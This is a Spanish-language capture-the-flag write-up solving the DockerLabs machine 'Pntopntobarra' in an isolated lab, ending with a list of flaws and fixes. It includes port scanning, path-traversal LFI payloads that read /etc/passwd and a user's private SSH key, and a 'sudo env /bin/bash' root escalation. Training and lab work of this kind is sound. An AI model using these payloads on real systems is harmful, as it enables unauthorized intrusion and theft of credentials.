Pntopntobarra
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Pntopntobarra, desarrollada por maciiii___ para la plataforma DockerLabs y clasificada como fácil.
El objetivo es exponer un análisis claro, ordenado y técnicamente sustentado que abarque:
- Identificación de vectores de ataque.
- Revisión de archivos sensibles y recursos expuestos.
- Obtención de acceso inicial mediante un fallo de inclusión de archivos.
- Escalada de privilegios hasta la obtención de permisos root.
La metodología se divide en tres etapas principales:
- Reconocimiento: identificación de servicios expuestos y exploración del contenido accesible.
- Explotación: validación del LFI, extracción de credenciales y acceso inicial.
- Escalada de privilegios: abuso de permisos
sudopara ejecutar comandos con privilegios de administrador.
Todas las pruebas se llevaron a cabo en el entorno aislado ofrecido por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Pntopntobarra |
| Autor | maciiii___ |
| Dificultad | Fácil |
| Fecha | 19/08/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime la máquina proporcionada:
unzip "Pntopntobarra.zip"Posteriormente, se inicia el contenedor:
sudo bash auto_deploy.sh "Pntopntobarra.tar"El script devuelve la IP interna, que será utilizada durante toda la auditoría.

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno de trabajo
Sección titulada «1.1 Organización del entorno de trabajo»Para mantener un flujo ordenado se crea una estructura de directorios:
mkdir -p Pntopntobarra/{content,exploits,nmap,gobuster,scripts}cd Pntopntobarra1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo TCP completo:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración Web (HTTP - puerto 80)
Sección titulada «1.3 Enumeración Web (HTTP - puerto 80)»Se enumeran los directorios accesibles mediante gobuster:
gobuster dir \ -u http://172.18.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200
El escaneo únicamente detecta el archivo index.

La página muestra un aviso relacionado con un supuesto virus y dos botones interactivos. Uno de ellos dirige a una sección con ejemplos de computadoras infectadas:

En este punto se observa un error al cargar imágenes, lo que sugiere la posible manipulación de rutas internas para su inclusión.
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»A partir del fallo en la carga de imágenes, se prueba un posible Local File Inclusion (LFI) modificando el parámetro images:
http://172.17.0.2/ejemplos.php?images=./ejemplo1.pngPara confirmar la vulnerabilidad se intenta leer el archivo /etc/passwd:
http://172.17.0.2/ejemplos.php?images=../../../etc/passwd
La lectura es exitosa y revela el usuario nico. Explorando su directorio personal es posible obtener una clave privada SSH:
http://172.17.0.2/ejemplos.php?images=../../../home/nico/.ssh/id_rsa
Se guarda la clave y se asignan permisos adecuados:
chmod 600 id_rsassh -i id_rsa nico@172.17.0.2Se obtiene acceso al sistema:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De Nico → root
Sección titulada «3.1 De Nico → root»Se revisan los permisos sudo:

El usuario nico puede ejecutar env con privilegios de administrador. Esto permite elevar privilegios mediante:
sudo env /bin/bashAcceso root obtenido:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Falta de validación en parámetros utilizados para incluir archivos, permitiendo LFI.
- Almacenamiento inseguro de claves privadas SSH en directorios accesibles mediante traversal.
- Configuración incorrecta de
sudo, permitiendo a un usuario sin privilegios ejecutarenvcomo root.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar sanitización estricta en parámetros utilizados para cargar archivos.
- Evitar exponer rutas internas directamente en aplicaciones web.
- Eliminar claves privadas del sistema o limitar fuertemente sus permisos.
- Restringir comandos ejecutables mediante
sudoy aplicar el principio de mínimo privilegio.